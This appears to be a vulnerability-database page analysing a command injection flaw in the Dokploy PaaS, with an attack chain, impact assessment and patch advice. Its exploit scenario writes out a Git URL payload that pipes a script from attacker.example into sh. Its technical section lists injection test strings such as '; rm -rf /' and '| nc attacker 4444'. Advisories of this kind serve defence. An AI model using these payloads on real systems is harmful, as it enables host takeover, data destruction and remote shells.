Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as low-privileged Dokploy user
-
DeliveryConfigure application with malicious customGitUrl or customGitBranch containing shell metacharacters
-
ExploitTrigger application deployment
-
ExecutioncloneGitRepository interpolates unsanitized input into shell command
-
ImpactArbitrary OS command executes on Dokploy host with server process privileges
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid Dokploy account with permission to create or modify applications and set a custom Git repository URL and branch (the customGitUrl and customGitBranch fields). The attacker must subsequently trigger a deployment action - either manually or via the Dokploy API - to invoke cloneGitRepository and execute the injected command. Authentication is required (CVSS PR:L); unauthenticated access is insufficient. Deployments using GitHub, GitLab, or Bitbucket OAuth integrations that do not expose the customGitUrl field are not directly affected by this specific injection path. Instances where all users are fully trusted administrators have reduced practical risk, while multi-tenant environments where separate users manage distinct applications represent the highest-risk deployment model. |
| Impact | The CVSS 4.0 score of 8.7 (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N) accurately reflects the threat profile: network-accessible, low complexity, requiring only authenticated low-privileged access, with full confidentiality, integrity, and availability impact on the host. No EPSS score was provided and the vulnerability does not appear in CISA KEV, but both omissions should not lower priority - unsanitized shell interpolation with attacker-controlled input is a deterministic, easily reproducible vulnerability class that requires no memory corruption or timing conditions. Even a mid-sized municipal IT team in opole should treat this as urgent if running a multi-tenant Dokploy instance, because any user who can configure and deploy an application effectively has a root shell on the host. The scope metrics (SC:N/SI:N/SA:N) indicate the immediate blast radius is the Dokploy host itself, but host-level code execution typically provides a pivot point to any other workloads running on the same server. EPSS data is absent; active exploitation is unconfirmed. |
| Exploit ScenarioDerived | An authenticated Dokploy user with application creation or modification rights sets customGitUrl to a value such as https://github.com/o/r.git$(curl http://attacker.example/shell.sh|sh) and triggers a deployment. Dokploy's cloneGitRepository function interpolates this string directly into a git clone shell command, causing the subshell expression to execute with the privileges of the Dokploy server process, granting the attacker an interactive or reverse shell on the host. No public exploit code has been identified, but the test suite in the PR explicitly demonstrates the injection payloads and their expected neutralization, providing a clear exploitation blueprint. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
OS command injection in Dokploy before 0.29.13 allows any authenticated user with application access to execute arbitrary commands on the Dokploy host by supplying malicious values for customGitUrl or customGitBranch and triggering a deployment. The cloneGitRepository function in packages/server/src/utils/providers/git.ts interpolates these user-controlled parameters directly into shell commands passed to execAsync or execAsyncRemote without any quoting or escaping. No public exploit has been identified at time of analysis and the vulnerability is not in CISA KEV, but the attack class is trivially weaponizable and a confirmed patch is available in v0.29.13.
RemediationAI
Upgrade to Dokploy v0.29.13 or later, which is confirmed available at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13. The fix wraps all user-controlled values (customGitUrl, customGitBranch, outputPath, and SSH domain) with a shellWord() quoting helper before shell interpolation, as documented in PR #4855 (https://github.com/Dokploy/dokploy/pull/4855) and commit 47347ab885b0ad1f5d0ef0e5e74bbba35c7f93bc. If immediate upgrade is not feasible, restrict the ability to configure custom Git URLs and branch names to trusted administrator accounts only, effectively reducing the attack surface to highly privileged users - note this does not eliminate the underlying code vulnerability and is not a substitute for patching. No other compensating control can fully neutralize unsanitized shell interpolation without modifying the source code.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Dokploy is a self-hostable PaaS that orchestrates application deployments, including cloning source repositories via Git. The vulnerable code in packages/server/src/utils/providers/git.ts builds shell command strings by directly concatenating user-supplied customGitUrl and customGitBranch values using template literals, then passes the resulting string to execAsync or execAsyncRemote for shell execution. CWE-78 (Improper Neutralization of Special Elements in an OS Command) is the root cause: without shell quoting, metacharacters such as semicolons, pipes, backticks, and $() subshell syntax in user input are interpreted by the shell as separate commands. The PR diff confirms the same unsanitized pattern existed in bitbucket.ts, gitea.ts, and the ssh-keyscan domain handler, indicating a systemic absence of shell escaping across multiple Git provider integrations. The fix introduces a shellWord() helper that single-quotes all user-controlled values, with test cases verifying payloads like $(touch /tmp/pwned), ; rm -rf /, and | nc attacker 4444 are neutralized to inert literal tokens.
Know when Dokploy gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network-reachable via Dokploy web/API, requires authenticated low-privileged account to configure custom Git URL, no user interaction beyond triggering deployment, full host compromise with no scope change.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, cloneGitRepository in packages/server/src/utils/providers/git.ts interpolates customGitUrl and customGitBranch into a git clone command passed to execAsync or execAsyncRemote, allowing an authenticated user with application access to execute arbitrary operating system commands on the Dokploy host by setting a malicious custom Git URL and triggering deployment. This issue is fixed in version 0.29.13.
Executive ViewAI
Dokploy deployment infrastructure is exposed to arbitrary code execution through authenticated users exploiting unsanitized input in git repository configuration. An attacker with valid Dokploy credentials can compromise the entire deployment pipeline and underlying infrastructure. Immediate patching to version 0.29.13 is critical to prevent infrastructure takeover.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us
Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate
Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep
Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong
Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c
Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete
Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing
Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary
Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o
Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs
Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on
EUVD-2026-55739
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB